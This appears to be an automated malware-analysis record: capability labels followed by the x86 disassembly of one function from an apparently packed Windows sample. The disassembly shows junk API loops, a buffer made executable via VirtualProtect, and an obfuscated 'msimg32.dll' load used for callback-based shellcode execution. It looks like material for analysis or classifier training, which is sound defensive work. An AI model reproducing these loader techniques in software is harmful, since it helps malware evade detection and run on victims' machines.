Function at 0x423980
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Check for unexpected memory writes
Copy file
Create pipe
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get system information on windows
Manipulate console buffer
Move file
Query environment variable
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x25f0
call fcn.0040e6d0
push ebx
mov ebx, dword [esp + 0x64]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x28]
xor esi, esi
cmp esi, 0x2cc42
jge 0x4239ae
call ebp
cmp dword [0x7ae3b8], 0x6fb
jne 0x4239ce
push 0
push 0
lea eax, [esp + 0x608]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp esi, 0x1e9b2138
jle 0x4239e6
cmp edi, 0xc10b08
je 0x4239e6
cmp ebx, 0x963c600
jne 0x4239ef
inc esi
cmp esi, 0x99752
jl 0x4239a4
cmp dword [0x7ae3b8], 0xcf8
jne 0x423a43
fldz
sub esp, 8
fstp qword [esp]
call fcn.004058b0
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405a00
fstp st(0)
push 0
push 0
push 0
push 0x429688
call fcn.00405574
push 0
call fcn.0040587c
add esp, 0x1c
push 0
push 0
call fcn.00405367
add esp, 8
push 0
call fcn.0040582a
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x423a64
mov eax, 0x5d1
add dword [0x7ae3b8], eax
cmp dword [0x7ae3b8], 3
jne 0x423a90
xor ecx, ecx
lea eax, [esp + 0x28]
push eax
push ecx
push ecx
push 0x404878
push ecx
mov dword [esp + 0x38], ecx
call edi
push 0
push 0
lea edx, [esp + 0x208]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x423a51
mov eax, dword [0x7ae3b8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x42e41c], eax
mov eax, dword [0x7ae3b8]
xor esi, esi
test eax, eax
je 0x423b12
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea esp, [esp]
cmp eax, 0xfe
jne 0x423ae1
push 0
call ebx
push 0
push 0
call ebp
call fcn.00423510
mov eax, dword [0x7ae3b8]
cmp eax, 0x29
jne 0x423b0d
push 0
push 0
lea ecx, [esp + 0x608]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
call edi
mov eax, dword [0x7ae3b8]
inc esi
cmp esi, eax
jb 0x423ad0
cmp eax, 0x70
jne 0x423bea
push 0
lea edx, [esp + 0x604]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0x4048e8
push 0x404980
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x4049e0
lea eax, [esp + 0xe04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x404af8
lea ecx, [esp + 0x1604]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0
push 0
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea ecx, [esp + 0x1e04]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x4048b4
push 0x404b7c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x7ae3b8]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x40], 0x9682ab
lea ebx, [ebx]
cmp eax, 3
jne 0x423c2a
lea edx, [esp + 0xc0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x7ae3b8]
cmp eax, 0xdf
jne 0x423dad
push 0
push 0
push 0
call esi
push 0
call edi
xor eax, eax
lea edx, [esp + 0x4c]
push edx
push eax
push eax
lea ecx, [esp + 0x20c]
push ecx
push eax
mov dword [esp + 0x38], eax
call ebp
push 0
push 0
push 0
call ebx
push 0x404a9c
push 0x40495c
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x48]
push edx
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0
push 0
mov dword [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push 0
push 0x404bc0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x44]
push ecx
push 0x404b9c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x604]
push eax
push 0x404c60
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0x404acc
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor eax, eax
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.00406e00
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404bb4
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [0x7ae3b8]
dec dword [esp + 0x40]
jne 0x423c10
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x423dc8
mov edx, dword [0x7ae3b8]
mov eax, dword [0x42e41c]
lea ecx, [esp + 0x44]
push ecx
push 0x40
push edx
push eax
mov byte [0x429688], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004237c0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
nop
cmp dword [0x7ae3b8], 0xba
jne 0x423e19
lea ecx, [esp + 0x44]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x423e2c
mov eax, 0x283d
add dword [0x42e41c], eax
inc esi
cmp esi, 0x1605a
jl 0x423e00
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov ebx, 0xf2b8b
cmp dword [0x7ae3b8], 0x21
jne 0x423e5d
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x423e46
mov edx, 0x73
mov eax, 0x6d
mov word [0x7ad3ca], dx
mov word [0x7ad3ce], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x7ad3d2], cx
mov word [0x7ad3de], ax
mov word [0x7ad3d0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x7ad3c8
mov dword [0x7ad3d8], 0x6c0064
mov word [0x7ad3cc], ax
mov word [0x7ad3c8], cx
mov word [0x7ad3dc], dx
mov dword [0x7ad3d4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7ae3b8], 0xc30
jne 0x423f69
push 0x404c90
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, eax
lea edx, [esp + 0x2c]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
push 0x404cf4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push ebx
lea eax, [esp + 0x604]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
lea ecx, [esp + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret